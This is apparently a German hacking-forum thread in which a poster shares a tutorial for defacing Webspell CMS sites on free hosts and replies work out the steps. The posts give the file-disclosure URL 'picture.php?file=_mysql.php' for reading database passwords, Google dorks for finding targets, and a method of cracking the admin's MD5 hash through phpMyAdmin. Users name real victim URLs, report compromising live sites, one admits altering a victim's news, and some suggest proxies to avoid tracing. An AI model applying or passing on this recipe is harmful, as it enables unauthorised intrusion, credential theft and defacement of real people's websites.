Druckbare Version
so Hier is mein V-Tut wie ihr ganz easy ne Webspell Page auf nem Funpic server defacen könnt! is für die noobs hier gedacht!
es gibt auch noch andere wege! aber ich habe es jetzt gezeigt wie es für die meisten am einfachsten ist! werde demnächst auch nen TuT machen wie man darüber ne shell auf den server bekommt! und wie man sich nen account anlegt!
pw: keins!
LINK: http://rapidshare.com/files/43107241/tut.rar
thx schaus mir gleich an mache dann edit
//EDIT: Loading...Loading...
ps: is moruk crew deine page oder machste nur werbung??
pw falsch???
http://rapidshare.com/files/43107241/tut.rar
sry 4 doppel post! da habt ihrs!
thx ich schaus auch mal an^^ @ b!22!7 Ich denke es is seine Crew er is auf der Seite Admin^^
danke dir
funzt nicht^^ :)
bei mir wird der seitenquelltext nicht angezeigt
bei mir steht immer, dass es die seite nicht gibt^^
dan macht ihr was falsch....
und wenn kein quelltext angezeigt wird..heist das das der bug gefixed wurde!
http://thonic.th.ohost.de/picture?file=_mysql.php
http://marineinfantery.ma.ohost.de/p...ile=_mysql.php
http://teamholdstill.te.ohost.de/pic...ile=_mysql.php
Diese Seite ist leider nicht verfügbar.
Richte auch du Deine kostenlose Homepage beim kostenlosen Webspace bei ohost.de ein.
kA was ich falsch mach -.-
bei mir gehen die passwörter nirgendwo, nicht bei phpmyadmin und im ftp auch nicht
http://blackdiablo.bl.ohost.de/ der link geht gibt mir sorger die Pws
ust aber ich kann mich auf ftp nicht einlogen
ich weiss garnich was ihr hab!
das exploit funkzt bei mir perfekt!
habs bei 10 seiten versucht und bei 5 hats geklapt
oderCode:inurl:ohost "Webspell"
das müsste bei jedem funkzen!Code:inurl:funpic "Webspell"
das liegt daran das er nich das gleiche pw hat!Zitat:
Zitat von VANTANA-B
logge dich bei http://phpmyadmin.ohost.de ein und check die user datei!
dann haste schonmal den hash für alle die auf der page angemeldet sind!
der erste is der admin! gehe auf md5cracker.de und gib den hash da ein.
schon haste admin pw :wink:
nice tutorial... bei mir hats geklappt... n1
hab jez 5 bis 10 seiten probiert.. 0 funzen :(
lol ich habe es grade nochmal an 3 seiten aus langerweile ausprobiert...und hat geklappt!
gibst du einfach:am ende der url ein oder was?Code:/picture?file=_mysql.php
omfGGGGGGZitat:
Zitat von b!22!7
du hast das php vergessen!Code:picture.php?file=_mysql.php
Ich hab es bei einer ausprobiert, klappt wunderbar, danke HaxXxor^^
MFG
Uncle Sam
ok jez klappt es ;) geil man thx
Schönes TuT HaxXxor ;) Muss man ja mal sagen :lol:
Hat auch sofort geklappt 8)
War zwar nicht ftp aber naja egal :D
Hab halt per mysql den ihre news geändert xD wollte ja nicht soooo mies sein ;)
Edit://
Wie kann man das machen das dieser "Bug" oder was auch immer nicht mehr da ist? Da ich keine lust habe oft meine page neuzumachen
ganz einfach du gehst auf www.webspell.org und lädst dir die Sicherheitfixes für deine Version runter und haußte die auf deinen FTP SERVER und schon ist der Bug gefixed
MfG
TheBastart
@ Lump
Find ich ist ne bessere idee ^^Zitat:
This site is using webspell 4.01.02 Script
HaxXxor wie heißten das Deutsche lied? Das tutorial iss geil und funzt :) THX
Habs jetzt bestimmt an 20 Seiten probiert..
immer die gleiche Meldung:
http://404.ohost.de/404.html
hab alles wie im TUT gemacht
beispiel.be.ohost.de/picture.php?file=_mysql.php
Funzt ohne Probleme!
Man muss nur das richtige in Google eingeben :P
Klappt net :(
Habe mir einfach ne Seite ausgesucht:
http://opfau.op.funpic.de/ und dann weiter
http://opfau.op.funpic.de/picture.php?file=_mysql.php ??? so ? Klappt aber net
Biite um Auskunft !!!
OK, mal ne einfache Frage:Zitat:
Habe mir einfach ne Seite ausgesucht:
http://opfau.op.funpic.de/ und dann weiter
http://opfau.op.funpic.de/picture.php?file=_mysql.php ??? so ? Klappt aber net
Biite um Auskunft !!!
Besitzt diese Seite ein Webspell CMS?!?
-----> Nein....
Ist dort eine "picture.php" vorhanden?!
-----> Nein....
--------------------------------------------------------------
Was sagt dir das? :wink:
Schau mal, die endungen unten bei deinem Browser, wenn de bei der Page auf nen link gehst.
Zitat:
D.H du kannst dir die Page eigentlich nur Bruteforcen, obwohl, bei einer Funpic oder einer Ohost Page das meist auch nicht wirklich klappt weil die nen Schutz haben...
Fazit:
Bei dieser Page wirste ncihts machen können, sry
:roll: :wink:
vllt hat derjenige ja kein mysql freigeschaltet
Könnt ihr mir denn mal ne Seite sagen wo ioch das nur Ausprobieren kann ?? will keine Schaden machen umgotteswillen nenene nur gucken wie das geht oder erklärt mir es bitte wenistens ???
Added after 20 minutes:
Das geht gar net habe es an 35 Seiten ausprobiert alle sagten Seite nicht verfügbar.!!!
doch neox mein freund das geht aber nur auf diversen seiten....
ich schick dir eine per PM
mfg (Epiphone)
Ich wollte mir das auch mal anschauen aber wollte wissen ob ich das über einen Proxy machen soll? Will ja nicht, dass meine IP geloggt wird und ich hinterher noch Ärger bekomme.
Gruß
Wennst nix anstellst machen die auch nix...
Ich hab jedenfalls noch nie ärger bekommen^^
machs lieber über n proxy .. sicher ist sicher
Geh einfach zu Google und gib dort folgendes ein:
allintitle:webSpell v4.0
Dann müssten einige Seiten erscheinen, die WebSpell benutzen!
oder
inurl:funpic.de/webspell/
Geh einfach zu Google und gib dort folgendes ein:
allintitle:webSpell v4.0
Dann müssten einige Seiten erscheinen, die WebSpell benutzen!
Doppelposts sind doof, wir habe es verstanden, damit ist die sache gegessen. habe verstdanden wie es geht.
Danke man du bist der beste! hab mich auf dein forum registriert, bekomm aber keine aktivierungsmail!